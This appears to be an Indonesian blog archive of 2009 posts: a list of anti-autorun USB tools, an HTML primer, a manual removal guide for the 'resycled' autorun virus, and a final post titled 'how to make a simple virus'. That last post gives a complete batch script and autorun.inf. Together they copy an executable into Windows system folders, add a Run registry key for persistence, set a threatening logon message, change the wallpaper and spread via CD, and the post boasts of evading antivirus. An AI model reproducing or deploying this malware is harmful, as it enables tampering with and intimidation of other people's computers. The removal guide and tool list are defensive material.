5.Ikill di http://arpantech.aphelic.com/downloads/software/security/iKill.htm
6. Autorun USB Finder di http://www.softpedia.com/progDownload/Autorun-USB-Virus-Finder-Download-118726.html
7. Autorun eater di http://www.softpedia.com/get/Security/Secure-cleaning/Autorun-Eater.shtml
8. FD Guard
9. Autorun Virus remover di http://download.cnet.com/Autorun-Virus-Remover/3000-2239_4-10855225.html (thanks for (widnyana putra)
10. Stop Autorun di http://download.cnet.com/StopAutorun/3000-2162_4-10846092.html

Yang ini pencegahan melalui USB Write Protection

1. USB Write Protector di http://www.gaijin.at/download/usbwp.rar (info dari darkarchon)
2. Thumbscrew (sama usb write protect) di http://www.irongeek.com/i.php?page=security/thumbscrew-software-usb-write-blocker
3. Mengenai Write Protect, baca http://ebsoft.web.id/2008/06/26/mengembalikan-usb-flash-yang-di-disable-write-protected/
Yang ini proteksi dari flashdisknya

1. Super Autorun di http://ebsoft.web.id/2009/02/27/mencegah-virus-membuat-autoruninf-dengan-super-autorun/
2. MakeSuperDir di http://pandu.poluan.info/progs/makesuperdir/makesuperdir.vbs.zip dan baca juga artikelnya di http://pandu.poluan.info/blog/itguy-id.php/2008/06/12/winpowertip-cara-melindungi-flash-disk-t
3. Baca juga artikel di http://ebsoft.web.id/2008/06/26/mengembalikan-usb-flash-yang-di-disable-write-protected/
4. Baca juga http://ebsoft.web.id/2009/02/19/proteksi-usb-flashdisk-dari-virus-dengan-file-dummy/

PENGENALAN DASAR HTML (Hypertext Markup Language)

2009-05-04T20:35:00.000-07:00

Pengenalan HTML
A. World Wide Web
Internet merupkan jaringan global yang menghubungkan suatu network dengan network lainya di seluruh dunia, TCP/IP menjadi protocol penghubung antara jaringan-jaringan yang beragam di seluruh dunia untuk dapat berkomunikasi. World Wide Web (WWW) merupakan bagian dari internet yang paling cepat berkembang dan paling populer. WWW bekerja merdasarkan pada tiga mekanisme berikut:
• Protocol standard aturan yang di gunakan untuk berkomunikasi pada computer networking, Hypertext Transfer Protocol (HTTP) adalah protocol untuk WWW.
• Address WWW memiliki aturan penamaan alamat web yaitu URL(Uniform Resource Locator) yang di gunakan sebagai standard alamat internet.
• HTML digunakan untuk membuat document yang bisa di akses melalui web.

B. Pengenalan HTML
Hypertext Markup Language merupkan standard bahasa yang di gunakan untuk menampilkan document web, yang bisa anda lakukan dengan HTML yaitu:
• Mengontrol tampilan dari web page dan contentnya.
• Mempublikasikan document secara online sehingga bisa di akses dari seluruh dunia.
• Membuat online form yang bisa di gunakan untuk menangani pendaftaran, transaksi secara online.
• Menambahkan object-object seperti image, audi, video dan juga java applet dalam document HTML.
•
C. Browser dan Editor
Browser
Browser merupakan software yang di install di mesin client yang berfungsi untuk menterjemahkan tag-tag HTML menjadi halaman web. Browser yang sering di gunakan biasanya Internet Explorer, Netscape Navigator dan masih banyak yang lainya.

Editor
Program yang di gunakan untuk membuat document HTML, ada banyak HTML editor yang bisa anda gunakan diantaranya: Ms FrontPage, Dreamweaver, Notepad.

Cara manual cleaning virus "resycled"

2009-05-04T20:33:00.000-07:00

Pernah kena virus resycled?
Tiba-2 kompi jadi lemot?

Ini cara ngilangin manual, tanpa antivius.
Loh, kok ga pake antivirus?
Na, silakan baca penjelasan saia berikut.

Bagaimana virus menginfeksi
---------------------------
Paling umum adalah dari removable media seperti flash disk.
Saat kita dobel-klik flash disk yang terinfeksi, kita
secara tidak sadar menjalankan autorun.inf milik sang virus.
Ini adalah contoh "social engineering" para pembuat virus,
yaitu memanfaatkan kebiasaan dan ketidaktelitian pengguna.

Repotnya, dengan men dobel-klik tersebut, pengguna mamberi
wewenang pada windows untuk melakukan batch operation, yang
perintah-2 nya seakan-akan "tidak membahayakan" sistem, sehingga
sangat sering virus autorun / dobel-klik, mem-bypass antivirus.
Karena dianggap bukan virus, saat kita lakukan scan virus,
maka hasilnya akan negatif. Ataupun jika ketemu belum tentu bisa
menghapus, karena itu, diperlukan cara manual untuk menghilangkannya.

Apa yang dia lakukan
--------------------
- Saat running dia akan membuat file autorun.inf di drive yang aktif
- Virus tersebut akan menyalin file "boot.com" ke folder-2 system
- Melakukan penambahan entry pada registry

Cara manghilangkan virus resycled
---------------------------------
01 Restart komputer
02 Masuk safe mode (tekan F8 saat booting, pilih safe mode)
03 Buka explorer

Penting: selama proses JANGAN membuka drive/folder dengan dobel-klik

04 Masuk menu tools --> folder options --> view
05 Pilih "Show hidden files and folders"
06 Hilangkan centang pada pilihan berikut:
--> * Hide extensions for known file types
--> * Hide protected operrating system files
07 Dengan menggunakan explorer tree, temukan dan hapus file "autorun.inf"
08 Lakukan langkah 07 pada semua drive, bisa manggunakan search, tapi
hati-2 ada file autorun yang memang diperlukan.
09 Periksa folder-2:
--> c:\windows\system32\dllcache
--> c:\windows\prefetch
cari file "boot.com", jika ketemu, hapus
10 Buka folder-2:
--> c:\windows\temp
--> c:\Documents and Settings\[USER PROFILE]\Local Settings\Temp
hapus semua isinya, ada beberapa file yang menolak dihapus, biarkan saja
11 Jalankan REGEDIT
12 Pilih File --> search
13 cari entry "boot.com", jika ketemu hapus. Tekan F3 untuk mengulang pencarian
sampai akhir registry
14 Kembali pada entry pertama, lakukan seperti langkah 13 untuk entry "resycled"
15 Tutup semua aplikasi, restart kompi
16 Buka explorer, cari dan hapus semua folder "resycled"
17 Untuk jaga-2 lakukan kembali langkah 07 dan 08

-- Selamat, kompi anda sudah bebas dari virus resycled --

TIPS:
- Jangan buka flash disk / drive dengan dobel-klik, pake explorer tree saja
- Gunakan opsi show hidden files pada folder options
- Gunakan opsi show extention pada folder options
- Waspada jika ada nama file / folder berganda
- Waspada jika file kerja anda berekstensi .com atau .exe
- Jangan klik file yang tiba-2 muncul / tidak pernah anda bikin, apalagi kalo namanya aneh-2
- Gunakan antivirus, lakukan update rutin
- Selalu hati-2 dan teliti, terutama waktu lagi buru-2

Semoga dapat berguna bagi mereka yang kena virus ini dan udah nyerah sampe mau
install ulang.

Silakan menyalin dan menyebarluaskan tulisan ini, tapi jangan lupa menyertakan nama penulis asli.

by: ridwan36, specially made for IDWS

CaRa bUaT Virus SeDerHAna

2009-05-04T20:26:00.000-07:00

ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )

ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…

note: “HANYA BEKERJA PADA WINDOWS XP”

caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Sumber : http://www.yogyafree.net/forum2/viewtopic.php?t=11281